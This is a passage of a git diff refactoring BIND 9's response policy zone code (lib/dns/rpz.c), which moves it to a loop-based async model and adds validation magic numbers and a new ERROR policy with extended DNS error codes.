@@ -495,7 +495,7 @@ dns_root_checkhints(dns_view_t *view, dns_db_t *hints, dns_db_t *db) {
 			      DNS_LOGMODULE_HINTS, ISC_LOG_WARNING,
 			      "checkhints%s%s: unable to get root NS rrset "
 			      "from cache: %s",
-			      sep, viewname, dns_result_totext(result));
+			      sep, viewname, isc_result_totext(result));
 		goto cleanup;
 	}
 
diff --git a/lib/dns/rpz.c b/lib/dns/rpz.c
index d3baa71c0d..ee4ed0613a 100644
--- a/lib/dns/rpz.c
+++ b/lib/dns/rpz.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -13,22 +15,25 @@
 
 #include <inttypes.h>
 #include <stdbool.h>
+#include <stdint.h>
 #include <stdlib.h>
 
+#include <isc/async.h>
 #include <isc/buffer.h>
+#include <isc/loop.h>
+#include <isc/magic.h>
 #include <isc/mem.h>
 #include <isc/net.h>
 #include <isc/netaddr.h>
-#include <isc/print.h>
+#include <isc/result.h>
 #include <isc/rwlock.h>
 #include <isc/string.h>
-#include <isc/task.h>
 #include <isc/util.h>
+#include <isc/work.h>
 
 #include <dns/db.h>
 #include <dns/dbiterator.h>
 #include <dns/dnsrps.h>
-#include <dns/events.h>
 #include <dns/fixedname.h>
 #include <dns/log.h>
 #include <dns/rbt.h>
@@ -36,10 +41,15 @@
 #include <dns/rdataset.h>
 #include <dns/rdatasetiter.h>
 #include <dns/rdatastruct.h>
-#include <dns/result.h>
 #include <dns/rpz.h>
 #include <dns/view.h>
 
+#define DNS_RPZ_ZONE_MAGIC  ISC_MAGIC('r', 'p', 'z', ' ')
+#define DNS_RPZ_ZONES_MAGIC ISC_MAGIC('r', 'p', 'z', 's')
+
+#define DNS_RPZ_ZONE_VALID(rpz)	  ISC_MAGIC_VALID(rpz, DNS_RPZ_ZONE_MAGIC)
+#define DNS_RPZ_ZONES_VALID(rpzs) ISC_MAGIC_VALID(rpzs, DNS_RPZ_ZONES_MAGIC)
+
 /*
  * Parallel radix trees for databases of response policy IP addresses
  *
@@ -86,16 +96,12 @@
 #define DNS_RPZ_HTSIZE_MAX 24
 #define DNS_RPZ_HTSIZE_DIV 3
 
-/*
- * Maximum number of nodes to process per quantum
- */
-#define DNS_RPZ_QUANTUM 1024
-
+static isc_result_t
+dns__rpz_shuttingdown(dns_rpz_zones_t *rpzs);
 static void
-dns_rpz_update_from_db(dns_rpz_zone_t *rpz);
-
+dns__rpz_timer_cb(void *);
 static void
-dns_rpz_update_taskaction(isc_task_t *task, isc_event_t *event);
+dns__rpz_timer_start(dns_rpz_zone_t *rpz);
 
 /*
  * Use a private definition of IPv6 addresses because s6_addr32 is not
@@ -170,30 +176,10 @@ struct dns_rpz_nm_data {
 	dns_rpz_nm_zbits_t wild;
 };
 
+static isc_result_t
+rpz_add(dns_rpz_zone_t *rpz, const dns_name_t *src_name);
 static void
-rpz_detach(dns_rpz_zone_t **rpzp);
-
-static void
-rpz_detach_rpzs(dns_rpz_zones_t **rpzsp);
-
-#if 0
-/*
- * Catch a name while debugging.
- */
-static void
-catch_name(const dns_name_t *src_name, const char *tgt, const char *str) {
-	dns_fixedname_t tgt_namef;
-	dns_name_t *tgt_name;
-
-	tgt_name = dns_fixedname_initname(&tgt_namef);
-	dns_name_fromstring(tgt_name, tgt, DNS_NAME_DOWNCASE, NULL);
-	if (dns_name_equal(src_name, tgt_name)) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_RPZ,
-			      DNS_LOGMODULE_RBTDB, DNS_RPZ_ERROR_LEVEL,
-			      "rpz hit failed: %s %s", str, tgt);
-	}
-}
-#endif /* if 0 */
+rpz_del(dns_rpz_zone_t *rpz, const dns_name_t *src_name);
 
 const char *
 dns_rpz_type2str(dns_rpz_type_t type) {
@@ -211,7 +197,7 @@ dns_rpz_type2str(dns_rpz_type_t type) {
 	case DNS_RPZ_TYPE_BAD:
 		break;
 	}
-	FATAL_ERROR(__FILE__, __LINE__, "impossible rpz type %d", type);
+	FATAL_ERROR("impossible rpz type %d", type);
 	return ("impossible");
 }
 
@@ -246,7 +232,7 @@ dns_rpz_str2policy(const char *str) {
 
 const char *
 dns_rpz_policy2str(dns_rpz_policy_t policy) {
-	const char *str;
+	const char *str = NULL;
 
 	switch (policy) {
 	case DNS_RPZ_POLICY_PASSTHRU:
@@ -277,13 +263,41 @@ dns_rpz_policy2str(dns_rpz_policy_t policy) {
 	case DNS_RPZ_POLICY_DNS64:
 		str = "DNS64";
 		break;
+	case DNS_RPZ_POLICY_ERROR:
+		str = "ERROR";
+		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 	return (str);
 }
 
+uint16_t
+dns_rpz_str2ede(const char *str) {
+	static struct {
+		const char *str;
+		uint16_t ede;
+	} tbl[] = {
+		{ "none", 0 },
+		{ "forged", DNS_EDE_FORGEDANSWER },
+		{ "blocked", DNS_EDE_BLOCKED },
+		{ "censored", DNS_EDE_CENSORED },
+		{ "filtered", DNS_EDE_FILTERED },
+		{ "prohibited", DNS_EDE_PROHIBITED },
+	};
+	unsigned int n;
+
+	if (str == NULL) {
+		return (UINT16_MAX);
+	}
+	for (n = 0; n < sizeof(tbl) / sizeof(tbl[0]); ++n) {
+		if (!strcasecmp(tbl[n].str, str)) {
+			return (tbl[n].ede);
+		}
+	}
+	return (UINT16_MAX);
+}
+
 /*
  * Return the bit number of the highest set bit in 'zbit'.
  * (for example, 0x01 returns 0, 0xFF returns 7, etc.)
@@ -343,8 +357,7 @@ make_addr_set(dns_rpz_addr_zbits_t *tgt_set, dns_rpz_zbits_t zbits,
 		tgt_set->nsip = zbits;
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 }
 
@@ -361,8 +374,7 @@ make_nm_set(dns_rpz_nm_zbits_t *tgt_set, dns_rpz_num_t rpz_num,
 		tgt_set->ns = DNS_RPZ_ZBIT(rpz_num);
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 }
 
@@ -371,13 +383,12 @@ make_nm_set(dns_rpz_nm_zbits_t *tgt_set, dns_rpz_num_t rpz_num,
  */
 static void
 set_sum_pair(dns_rpz_cidr_node_t *cnode) {
-	dns_rpz_cidr_node_t *child;
 	dns_rpz_addr_zbits_t sum;
 
 	do {
+		dns_rpz_cidr_node_t *child = cnode->child[0];
 		sum = cnode->set;
 
-		child = cnode->child[0];
 		if (child != NULL) {
 			sum.client_ip |= child->sum.client_ip;
 			sum.ip |= child->sum.ip;
@@ -571,9 +582,9 @@ fix_qname_skip_recurse(dns_rpz_zones_t *rpzs) {
 }
 
 static void
-adj_trigger_cnt(dns_rpz_zones_t *rpzs, dns_rpz_num_t rpz_num,
-		dns_rpz_type_t rpz_type, const dns_rpz_cidr_key_t *tgt_ip,
-		dns_rpz_prefix_t tgt_prefix, bool inc) {
+adj_trigger_cnt(dns_rpz_zone_t *rpz, dns_rpz_type_t rpz_type,
+		const dns_rpz_cidr_key_t *tgt_ip, dns_rpz_prefix_t tgt_prefix,
+		bool inc) {
 	dns_rpz_trigger_counter_t *cnt = NULL;
 	dns_rpz_zbits_t *have = NULL;
 
@@ -581,56 +592,55 @@ adj_trigger_cnt(dns_rpz_zones_t *rpzs, dns_rpz_num_t rpz_num,
 	case DNS_RPZ_TYPE_CLIENT_IP:
 		REQUIRE(tgt_ip != NULL);
 		if (KEY_IS_IPV4(tgt_prefix, tgt_ip)) {
-			cnt = &rpzs->triggers[rpz_num].client_ipv4;
-			have = &rpzs->have.client_ipv4;
+			cnt = &rpz->rpzs->triggers[rpz->num].client_ipv4;
+			have = &rpz->rpzs->have.client_ipv4;
 		} else {
-			cnt = &rpzs->triggers[rpz_num].client_ipv6;
-			have = &rpzs->have.client_ipv6;
+			cnt = &rpz->rpzs->triggers[rpz->num].client_ipv6;
+			have = &rpz->rpzs->have.client_ipv6;
 		}
 		break;
 	case DNS_RPZ_TYPE_QNAME:
-		cnt = &rpzs->triggers[rpz_num].qname;
-		have = &rpzs->have.qname;
+		cnt = &rpz->rpzs->triggers[rpz->num].qname;
+		have = &rpz->rpzs->have.qname;
 		break;
 	case DNS_RPZ_TYPE_IP:
 		REQUIRE(tgt_ip != NULL);
 		if (KEY_IS_IPV4(tgt_prefix, tgt_ip)) {
-			cnt = &rpzs->triggers[rpz_num].ipv4;
-			have = &rpzs->have.ipv4;
+			cnt = &rpz->rpzs->triggers[rpz->num].ipv4;
+			have = &rpz->rpzs->have.ipv4;
 		} else {
-			cnt = &rpzs->triggers[rpz_num].ipv6;
-			have = &rpzs->have.ipv6;
+			cnt = &rpz->rpzs->triggers[rpz->num].ipv6;
+			have = &rpz->rpzs->have.ipv6;
 		}
 		break;
 	case DNS_RPZ_TYPE_NSDNAME:
-		cnt = &rpzs->triggers[rpz_num].nsdname;
-		have = &rpzs->have.nsdname;
+		cnt = &rpz->rpzs->triggers[rpz->num].nsdname;
+		have = &rpz->rpzs->have.nsdname;
 		break;
 	case DNS_RPZ_TYPE_NSIP:
 		REQUIRE(tgt_ip != NULL);
 		if (KEY_IS_IPV4(tgt_prefix, tgt_ip)) {
-			cnt = &rpzs->triggers[rpz_num].nsipv4;
-			have = &rpzs->have.nsipv4;
+			cnt = &rpz->rpzs->triggers[rpz->num].nsipv4;
+			have = &rpz->rpzs->have.nsipv4;
 		} else {
-			cnt = &rpzs->triggers[rpz_num].nsipv6;
-			have = &rpzs->have.nsipv6;
+			cnt = &rpz->rpzs->triggers[rpz->num].nsipv6;
+			have = &rpz->rpzs->have.nsipv6;
 		}
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	if (inc) {
 		if (++*cnt == 1U) {
-			*have |= DNS_RPZ_ZBIT(rpz_num);
-			fix_qname_skip_recurse(rpzs);
+			*have |= DNS_RPZ_ZBIT(rpz->num);
+			fix_qname_skip_recurse(rpz->rpzs);
 		}
 	} else {
 		REQUIRE(*cnt != 0U);
 		if (--*cnt == 0U) {
-			*have &= ~DNS_RPZ_ZBIT(rpz_num);
-			fix_qname_skip_recurse(rpzs);
+			*have &= ~DNS_RPZ_ZBIT(rpz->num);
+			fix_qname_skip_recurse(rpz->rpzs);
 		}
 	}
 }
@@ -638,17 +648,18 @@ adj_trigger_cnt(dns_rpz_zones_t *rpzs, dns_rpz_num_t rpz_num,
 static dns_rpz_cidr_node_t *
 new_node(dns_rpz_zones_t *rpzs, const dns_rpz_cidr_key_t *ip,
 	 dns_rpz_prefix_t prefix, const dns_rpz_cidr_node_t *child) {
-	dns_rpz_cidr_node_t *node;
+	dns_rpz_cidr_node_t *node = NULL;
 	int i, words, wlen;
 
 	node = isc_mem_get(rpzs->mctx, sizeof(*node));
-	memset(node, 0, sizeof(*node));
+	*node = (dns_rpz_cidr_node_t){
+		.prefix = prefix,
+	};
 
 	if (child != NULL) {
 		node->sum = child->sum;
 	}
 
-	node->prefix = prefix;
 	words = prefix / DNS_RPZ_CIDR_WORD_BITS;
 	wlen = prefix % DNS_RPZ_CIDR_WORD_BITS;
 	i = 0;
@@ -669,12 +680,11 @@ new_node(dns_rpz_zones_t *rpzs, const dns_rpz_cidr_key_t *ip,
 
 static void
 badname(int level, const dns_name_t *name, const char *str1, const char *str2) {
-	char namebuf[DNS_NAME_FORMATSIZE];
-
 	/*
 	 * bin/tests/system/rpz/tests.sh looks for "invalid rpz".
 	 */
 	if (level < DNS_RPZ_DEBUG_QUIET && isc_log_wouldlog(dns_lctx, level)) {
+		char namebuf[DNS_NAME_FORMATSIZE];
 		dns_name_format(name, namebuf, sizeof(namebuf));
 		isc_log_write(dns_lctx, DNS_LOGCATEGORY_RPZ,
 			      DNS_LOGMODULE_RBTDB, level,
@@ -700,12 +710,10 @@ ip2name(const dns_rpz_cidr_key_t *tgt_ip, dns_rpz_prefix_t tgt_prefix,
 #ifndef INET6_ADDRSTRLEN
 #define INET6_ADDRSTRLEN 46
 #endif /* ifndef INET6_ADDRSTRLEN */
-	int w[DNS_RPZ_CIDR_WORDS * 2];
 	char str[1 + 8 + 1 + INET6_ADDRSTRLEN + 1];
 	isc_buffer_t buffer;
 	isc_result_t result;
-	int best_first, best_len, cur_first, cur_len;
-	int i, n, len;
+	int len;
 
 	if (KEY_IS_IPV4(tgt_prefix, tgt_ip)) {
 		len = snprintf(str, sizeof(str), "%u.%u.%u.%u.%u",
@@ -717,16 +725,19 @@ ip2name(const dns_rpz_cidr_key_t *tgt_ip, dns_rpz_prefix_t tgt_prefix,
 			return (ISC_R_FAILURE);
 		}
 	} else {
+		int w[DNS_RPZ_CIDR_WORDS * 2];
+		int best_first, best_len, cur_first, cur_len;
+
 		len = snprintf(str, sizeof(str), "%d", tgt_prefix);
 		if (len < 0 || (size_t)len >= sizeof(str)) {
 			return (ISC_R_FAILURE);
 		}
 
-		for (i = 0; i < DNS_RPZ_CIDR_WORDS; i++) {
-			w[i * 2 + 1] =
-				((tgt_ip->w[DNS_RPZ_CIDR_WORDS - 1 - i] >> 16) &
+		for (int n = 0; n < DNS_RPZ_CIDR_WORDS; n++) {
+			w[n * 2 + 1] =
+				((tgt_ip->w[DNS_RPZ_CIDR_WORDS - 1 - n] >> 16) &
 				 0xffff);
-			w[i * 2] = tgt_ip->w[DNS_RPZ_CIDR_WORDS - 1 - i] &
+			w[n * 2] = tgt_ip->w[DNS_RPZ_CIDR_WORDS - 1 - n] &
 				   0xffff;
 		}
 		/*
@@ -737,7 +748,7 @@ ip2name(const dns_rpz_cidr_key_t *tgt_ip, dns_rpz_prefix_t tgt_prefix,
 		best_len = 0;
 		cur_first = -1;
 		cur_len = 0;
-		for (n = 0; n <= 7; ++n) {
+		for (int n = 0; n <= 7; ++n) {
 			if (w[n] != 0) {
 				cur_len = 0;
 				cur_first = -1;
@@ -752,7 +763,9 @@ ip2name(const dns_rpz_cidr_key_t *tgt_ip, dns_rpz_prefix_t tgt_prefix,
 			}
 		}
 
-		for (n = 0; n <= 7; ++n) {
+		for (int n = 0; n <= 7; ++n) {
+			int i;
+
 			INSIST(len > 0 && (size_t)len < sizeof(str));
 			if (n == best_first) {
 				i = snprintf(str + len, sizeof(str) - len,
@@ -810,16 +823,14 @@ type_from_name(const dns_rpz_zones_t *rpzs, dns_rpz_zone_t *rpz,
  * data.
  */
 static isc_result_t
-name2ipkey(int log_level, const dns_rpz_zones_t *rpzs, dns_rpz_num_t rpz_num,
-	   dns_rpz_type_t rpz_type, const dns_name_t *src_name,
-	   dns_rpz_cidr_key_t *tgt_ip, dns_rpz_prefix_t *tgt_prefix,
-	   dns_rpz_addr_zbits_t *new_set) {
-	dns_rpz_zone_t *rpz;
-	char ip_str[DNS_NAME_FORMATSIZE], ip2_str[DNS_NAME_FORMATSIZE];
+name2ipkey(int log_level, dns_rpz_zone_t *rpz, dns_rpz_type_t rpz_type,
+	   const dns_name_t *src_name, dns_rpz_cidr_key_t *tgt_ip,
+	   dns_rpz_prefix_t *tgt_prefix, dns_rpz_addr_zbits_t *new_set) {
+	char ip_str[DNS_NAME_FORMATSIZE];
 	dns_offsets_t ip_name_offsets;
 	dns_fixedname_t ip_name2f;
-	dns_name_t ip_name, *ip_name2;
-	const char *prefix_str, *cp, *end;
+	dns_name_t ip_name;
+	const char *prefix_str = NULL, *cp = NULL, *end = NULL;
 	char *cp2;
 	int ip_labels;
 	dns_rpz_prefix_t prefix;
@@ -827,11 +838,10 @@ name2ipkey(int log_level, const dns_rpz_zones_t *rpzs, dns_rpz_num_t rpz_num,
 	isc_result_t result;
 	int i;
 
-	REQUIRE(rpzs != NULL && rpz_num < rpzs->p.num_zones);
-	rpz = rpzs->zones[rpz_num];
 	REQUIRE(rpz != NULL);
+	REQUIRE(rpz->rpzs != NULL && rpz->num < rpz->rpzs->p.num_zones);
 
-	make_addr_set(new_set, DNS_RPZ_ZBIT(rpz_num), rpz_type);
+	make_addr_set(new_set, DNS_RPZ_ZBIT(rpz->num), rpz_type);
 
 	ip_labels = dns_name_countlabels(src_name);
 	if (rpz_type == DNS_RPZ_TYPE_QNAME) {
@@ -906,9 +916,11 @@ name2ipkey(int log_level, const dns_rpz_zones_t *rpzs, dns_rpz_num_t rpz_num,
 		 */
 		*tgt_prefix = (dns_rpz_prefix_t)prefix_num;
 		for (i = 0; ip_labels > 0 && i < DNS_RPZ_CIDR_WORDS * 2;
-		     ip_labels--) {
+		     ip_labels--)
+		{
 			if (cp[0] == 'z' && cp[1] == 'z' &&
-			    (cp[2] == '.' || cp[2] == '\0') && i <= 6) {
+			    (cp[2] == '.' || cp[2] == '\0') && i <= 6)
+			{
 				do {
 					if ((i & 1) == 0) {
 						tgt_ip->w[3 - i / 2] = 0;
@@ -919,7 +931,8 @@ name2ipkey(int log_level, const dns_rpz_zones_t *rpzs, dns_rpz_num_t rpz_num,
 			} else {
 				l = strtoul(cp, &cp2, 16);
 				if (l > 0xffffu ||
-				    (*cp2 != '.' && *cp2 != '\0')) {
+				    (*cp2 != '.' && *cp2 != '\0'))
+				{
 					if (*cp2 == '.') {
 						*cp2 = '\0';
 					}
@@ -964,16 +977,19 @@ name2ipkey(int log_level, const dns_rpz_zones_t *rpzs, dns_rpz_num_t rpz_num,
 	 * Complain about bad names but be generous and accept them.
 	 */
 	if (log_level < DNS_RPZ_DEBUG_QUIET &&
-	    isc_log_wouldlog(dns_lctx, log_level)) {
+	    isc_log_wouldlog(dns_lctx, log_level))
+	{
 		/*
 		 * Convert the address back to a canonical domain name
 		 * to ensure that the original name is in canonical form.
 		 */
-		ip_name2 = dns_fixedname_initname(&ip_name2f);
+		dns_name_t *ip_name2 = dns_fixedname_initname(&ip_name2f);
 		result = ip2name(tgt_ip, (dns_rpz_prefix_t)prefix_num, NULL,
 				 ip_name2);
 		if (result != ISC_R_SUCCESS ||
-		    !dns_name_equal(&ip_name, ip_name2)) {
+		    !dns_name_equal(&ip_name, ip_name2))
+		{
+			char ip2_str[DNS_NAME_FORMATSIZE];
 			dns_name_format(ip_name2, ip2_str, sizeof(ip2_str));
 			isc_log_write(dns_lctx, DNS_LOGCATEGORY_RPZ,
 				      DNS_LOGMODULE_RBTDB, log_level,
@@ -991,17 +1007,15 @@ name2ipkey(int log_level, const dns_rpz_zones_t *rpzs, dns_rpz_num_t rpz_num,
  * or QNAME data.
  */
 static void
-name2data(dns_rpz_zones_t *rpzs, dns_rpz_num_t rpz_num, dns_rpz_type_t rpz_type,
+name2data(dns_rpz_zone_t *rpz, dns_rpz_type_t rpz_type,
 	  const dns_name_t *src_name, dns_name_t *trig_name,
 	  dns_rpz_nm_data_t *new_data) {
-	dns_rpz_zone_t *rpz;
 	dns_offsets_t tmp_name_offsets;
 	dns_name_t tmp_name;
 	unsigned int prefix_len, n;
 
-	REQUIRE(rpzs != NULL && rpz_num < rpzs->p.num_zones);
-	rpz = rpzs->zones[rpz_num];
 	REQUIRE(rpz != NULL);
+	REQUIRE(rpz->rpzs != NULL && rpz->num < rpz->rpzs->p.num_zones);
 
 	/*
 	 * Handle wildcards by putting only the parent into the
@@ -1011,10 +1025,10 @@ name2data(dns_rpz_zones_t *rpzs, dns_rpz_num_t rpz_num, dns_rpz_type_t rpz_type,
 	if (dns_name_iswildcard(src_name)) {
 		prefix_len = 1;
 		memset(&new_data->set, 0, sizeof(new_data->set));
-		make_nm_set(&new_data->wild, rpz_num, rpz_type);
+		make_nm_set(&new_data->wild, rpz->num, rpz_type);
 	} else {
 		prefix_len = 0;
-		make_nm_set(&new_data->set, rpz_num, rpz_type);
+		make_nm_set(&new_data->set, rpz->num, rpz_type);
 		memset(&new_data->wild, 0, sizeof(new_data->wild));
 	}
 
@@ -1035,7 +1049,7 @@ name2data(dns_rpz_zones_t *rpzs, dns_rpz_num_t rpz_num, dns_rpz_type_t rpz_type,
  * \brief Count Leading Zeros: Find the location of the left-most set
  * bit.
  */
-static inline unsigned int
+static unsigned int
 clz(dns_rpz_cidr_word_t w) {
 	unsigned int bit;
 
@@ -1087,7 +1101,7 @@ diff_keys(const dns_rpz_cidr_key_t *key1, dns_rpz_prefix_t prefix1,
 	 */
 	for (i = 0; bit < maxbit; i++, bit += DNS_RPZ_CIDR_WORD_BITS) {
 		delta = key1->w[i] ^ key2->w[i];
-		if (ISC_UNLIKELY(delta != 0)) {
+		if (delta != 0) {
 #ifdef HAVE_BUILTIN_CLZ
 			bit += __builtin_clz(delta);
 #else  /* ifdef HAVE_BUILTIN_CLZ */
@@ -1103,7 +1117,7 @@ diff_keys(const dns_rpz_cidr_key_t *key1, dns_rpz_prefix_t prefix1,
  * Given a hit while searching the radix trees,
  * clear all bits for higher numbered zones.
  */
-static inline dns_rpz_zbits_t
+static dns_rpz_zbits_t
 trim_zbits(dns_rpz_zbits_t zbits, dns_rpz_zbits_t found) {
 	dns_rpz_zbits_t x;
 
@@ -1130,10 +1144,10 @@ static isc_result_t
 search(dns_rpz_zones_t *rpzs, const dns_rpz_cidr_key_t *tgt_ip,
        dns_rpz_prefix_t tgt_prefix, const dns_rpz_addr_zbits_t *tgt_set,
        bool create, dns_rpz_cidr_node_t **found) {
-	dns_rpz_cidr_node_t *cur, *parent, *child, *new_parent, *sibling;
+	dns_rpz_cidr_node_t *cur = NULL, *parent = NULL, *child = NULL;
+	dns_rpz_cidr_node_t *new_parent = NULL, *sibling = NULL;
 	dns_rpz_addr_zbits_t set;
 	int cur_num, child_num;
-	dns_rpz_prefix_t dbit;
 	isc_result_t find_result;
 
 	set = *tgt_set;
@@ -1143,6 +1157,7 @@ search(dns_rpz_zones_t *rpzs, const dns_rpz_cidr_key_t *tgt_ip,
 	parent = NULL;
 	cur_num = 0;
 	for (;;) {
+		dns_rpz_prefix_t dbit;
 		if (cur == NULL) {
 			/*
 			 * No child so we cannot go down.
@@ -1319,16 +1334,16 @@ search(dns_rpz_zones_t *rpzs, const dns_rpz_cidr_key_t *tgt_ip,
  * Add an IP address to the radix tree.
  */
 static isc_result_t
-add_cidr(dns_rpz_zones_t *rpzs, dns_rpz_num_t rpz_num, dns_rpz_type_t rpz_type,
+add_cidr(dns_rpz_zone_t *rpz, dns_rpz_type_t rpz_type,
 	 const dns_name_t *src_name) {
 	dns_rpz_cidr_key_t tgt_ip;
 	dns_rpz_prefix_t tgt_prefix;
 	dns_rpz_addr_zbits_t set;
-	dns_rpz_cidr_node_t *found;
+	dns_rpz_cidr_node_t *found = NULL;
 	isc_result_t result;
 
-	result = name2ipkey(DNS_RPZ_ERROR_LEVEL, rpzs, rpz_num, rpz_type,
-			    src_name, &tgt_ip, &tgt_prefix, &set);
+	result = name2ipkey(DNS_RPZ_ERROR_LEVEL, rpz, rpz_type, src_name,
+			    &tgt_ip, &tgt_prefix, &set);
 	/*
 	 * Log complaints about bad owner names but let the zone load.
 	 */
@@ -1336,7 +1351,7 @@ add_cidr(dns_rpz_zones_t *rpzs, dns_rpz_num_t rpz_num, dns_rpz_type_t rpz_type,
 		return (ISC_R_SUCCESS);
 	}
 
-	result = search(rpzs, &tgt_ip, tgt_prefix, &set, true, &found);
+	result = search(rpz->rpzs, &tgt_ip, tgt_prefix, &set, true, &found);
 	if (result != ISC_R_SUCCESS) {
 		char namebuf[DNS_NAME_FORMATSIZE];
 
@@ -1359,15 +1374,15 @@ add_cidr(dns_rpz_zones_t *rpzs, dns_rpz_num_t rpz_num, dns_rpz_type_t rpz_type,
 		return (result);
 	}
 
-	adj_trigger_cnt(rpzs, rpz_num, rpz_type, &tgt_ip, tgt_prefix, true);
+	adj_trigger_cnt(rpz, rpz_type, &tgt_ip, tgt_prefix, true);
 	return (result);
 }
 
 static isc_result_t
 add_nm(dns_rpz_zones_t *rpzs, dns_name_t *trig_name,
        const dns_rpz_nm_data_t *new_data) {
-	dns_rbtnode_t *nmnode;
-	dns_rpz_nm_data_t *nm_data;
+	dns_rbtnode_t *nmnode = NULL;
+	dns_rpz_nm_data_t *nm_data = NULL;
 	isc_result_t result;
 
 	nmnode = NULL;
@@ -1406,11 +1421,11 @@ add_nm(dns_rpz_zones_t *rpzs, dns_name_t *trig_name,
 }
 
 static isc_result_t
-add_name(dns_rpz_zones_t *rpzs, dns_rpz_num_t rpz_num, dns_rpz_type_t rpz_type,
+add_name(dns_rpz_zone_t *rpz, dns_rpz_type_t rpz_type,
 	 const dns_name_t *src_name) {
 	dns_rpz_nm_data_t new_data;
 	dns_fixedname_t trig_namef;
-	dns_name_t *trig_name;
+	dns_name_t *trig_name = NULL;
 	isc_result_t result;
 
 	/*
@@ -1419,9 +1434,9 @@ add_name(dns_rpz_zones_t *rpzs, dns_rpz_num_t rpz_num, dns_rpz_type_t rpz_type,
 	 */
 
 	trig_name = dns_fixedname_initname(&trig_namef);
-	name2data(rpzs, rpz_num, rpz_type, src_name, trig_name, &new_data);
+	name2data(rpz, rpz_type, src_name, trig_name, &new_data);
 
-	result = add_nm(rpzs, trig_name, &new_data);
+	result = add_nm(rpz->rpzs, trig_name, &new_data);
 
 	/*
 	 * Do not worry if the node already exists,
@@ -1431,7 +1446,7 @@ add_name(dns_rpz_zones_t *rpzs, dns_rpz_num_t rpz_num, dns_rpz_type_t rpz_type,
 		return (ISC_R_SUCCESS);
 	}
 	if (result == ISC_R_SUCCESS) {
-		adj_trigger_cnt(rpzs, rpz_num, rpz_type, NULL, 0, true);
+		adj_trigger_cnt(rpz, rpz_type, NULL, 0, true);
 	}
 	return (result);
 }
@@ -1448,532 +1463,309 @@ rpz_node_deleter(void *nm_data, void *mctx) {
  * Get ready for a new set of policy zones for a view.
  */
 isc_result_t
-dns_rpz_new_zones(dns_rpz_zones_t **rpzsp, char *rps_cstr, size_t rps_cstr_size,
-		  isc_mem_t *mctx, isc_taskmgr_t *taskmgr,
-		  isc_timermgr_t *timermgr) {
-	dns_rpz_zones_t *zones;
+dns_rpz_new_zones(isc_mem_t *mctx, isc_loopmgr_t *loopmgr, char *rps_cstr,
+		  size_t rps_cstr_size, dns_rpz_zones_t **rpzsp) {
+	dns_rpz_zones_t *rpzs = NULL;
 	isc_result_t result = ISC_R_SUCCESS;
 
 	REQUIRE(rpzsp != NULL && *rpzsp == NULL);
 
-	zones = isc_mem_get(mctx, sizeof(*zones));
-	memset(zones, 0, sizeof(*zones));
+	rpzs = isc_mem_get(mctx, sizeof(*rpzs));
+	*rpzs = (dns_rpz_zones_t){
+		.rps_cstr = rps_cstr,
+		.rps_cstr_size = rps_cstr_size,
+		.loopmgr = loopmgr,
+		.magic = DNS_RPZ_ZONES_MAGIC,
+	};
 
-	isc_rwlock_init(&zones->search_lock, 0, 0);
-	isc_mutex_init(&zones->maint_lock);
-	isc_refcount_init(&zones->refs, 1);
-	isc_refcount_init(&zones->irefs, 1);
+	isc_rwlock_init(&rpzs->search_lock);
+	isc_mutex_init(&rpzs->maint_lock);
+	isc_refcount_init(&rpzs->references, 1);
 
-	zones->rps_cstr = rps_cstr;
-	zones->rps_cstr_size = rps_cstr_size;
 #ifdef USE_DNSRPS
 	if (rps_cstr != NULL) {
-		result = dns_dnsrps_view_init(zones, rps_cstr);
+		result = dns_dnsrps_view_init(rpzs, rps_cstr);
+		if (result != ISC_R_SUCCESS) {
+			goto cleanup_rbt;
+		}
 	}
 #else  /* ifdef USE_DNSRPS */
-	INSIST(!zones->p.dnsrps_enabled);
+	INSIST(!rpzs->p.dnsrps_enabled);
 #endif /* ifdef USE_DNSRPS */
-	if (result == ISC_R_SUCCESS && !zones->p.dnsrps_enabled) {
+	if (!rpzs->p.dnsrps_enabled) {
 		result = dns_rbt_create(mctx, rpz_node_deleter, mctx,
-					&zones->rbt);
+					&rpzs->rbt);
 	}
 
 	if (result != ISC_R_SUCCESS) {
 		goto cleanup_rbt;
 	}
 
-	result = isc_task_create(taskmgr, 0, &zones->updater);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup_task;
-	}
+	isc_mem_attach(mctx, &rpzs->mctx);
 
-	isc_mem_attach(mctx, &zones->mctx);
-	zones->timermgr = timermgr;
-	zones->taskmgr = taskmgr;
-
-	*rpzsp = zones;
+	*rpzsp = rpzs;
 	return (ISC_R_SUCCESS);
 
-cleanup_task:
-	dns_rbt_destroy(&zones->rbt);
-
 cleanup_rbt:
-	isc_refcount_decrementz(&zones->irefs);
-	isc_refcount_destroy(&zones->irefs);
-	isc_refcount_decrementz(&zones->refs);
-	isc_refcount_destroy(&zones->refs);
-	isc_mutex_destroy(&zones->maint_lock);
-	isc_rwlock_destroy(&zones->search_lock);
-	isc_mem_put(mctx, zones, sizeof(*zones));
+	isc_refcount_decrementz(&rpzs->references);
+	isc_refcount_destroy(&rpzs->references);
+	isc_mutex_destroy(&rpzs->maint_lock);
+	isc_rwlock_destroy(&rpzs->search_lock);
+	isc_mem_put(mctx, rpzs, sizeof(*rpzs));
 
 	return (result);
 }
 
 isc_result_t
 dns_rpz_new_zone(dns_rpz_zones_t *rpzs, dns_rpz_zone_t **rpzp) {
-	dns_rpz_zone_t *zone;
 	isc_result_t result;
+	dns_rpz_zone_t *rpz = NULL;
 
+	REQUIRE(DNS_RPZ_ZONES_VALID(rpzs));
 	REQUIRE(rpzp != NULL && *rpzp == NULL);
-	REQUIRE(rpzs != NULL);
+
 	if (rpzs->p.num_zones >= DNS_RPZ_MAX_ZONES) {
 		return (ISC_R_NOSPACE);
 	}
 
-	zone = isc_mem_get(rpzs->mctx, sizeof(*zone));
-
-	memset(zone, 0, sizeof(*zone));
-	isc_refcount_init(&zone->refs, 1);
-
